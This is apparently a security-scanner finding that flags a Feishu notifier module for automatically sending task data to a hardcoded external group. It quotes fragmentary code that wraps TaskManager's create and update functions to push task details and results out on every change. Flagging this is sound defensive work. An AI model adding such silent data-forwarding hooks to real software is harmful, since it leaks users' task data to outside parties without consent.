other
- Location
modules/sensen-feishu-notifier.js:17- Finding
Automatic Disclosure of Task Data to a Hardcoded External Feishu Group
- Content
View full analysis
100 ? '...' : ''}` }); } ``` ```js if (task.result) { card.elements.push({ tag: "hr" }); card.elements.push({ tag: "markdown", content: `**Result**\n${task.result}` }); } ``` ```js TaskManager.createTask = function(...args) { const task = originalCreate(...args); notifyTaskCreated(task) .catch(e => console.error('[FeishuNotifier] Notification failed:', e.message)); return task; }; TaskManager.updateTaskState = function(...args) { const [taskId, newState, extra] = args; const task = this.loadTask(taskId); const oldState = task?.status; const result = originalUpdateState(...args); if (result && oldState !== newState) { notifyTaskStatusChange(result, oldState, newState) .catch(e => console.error('[FeishuNotifier] Notification failed:', e.message)); } return result; }; ``` ### ...[truncated 1954 chars]- Remediation
View remediation
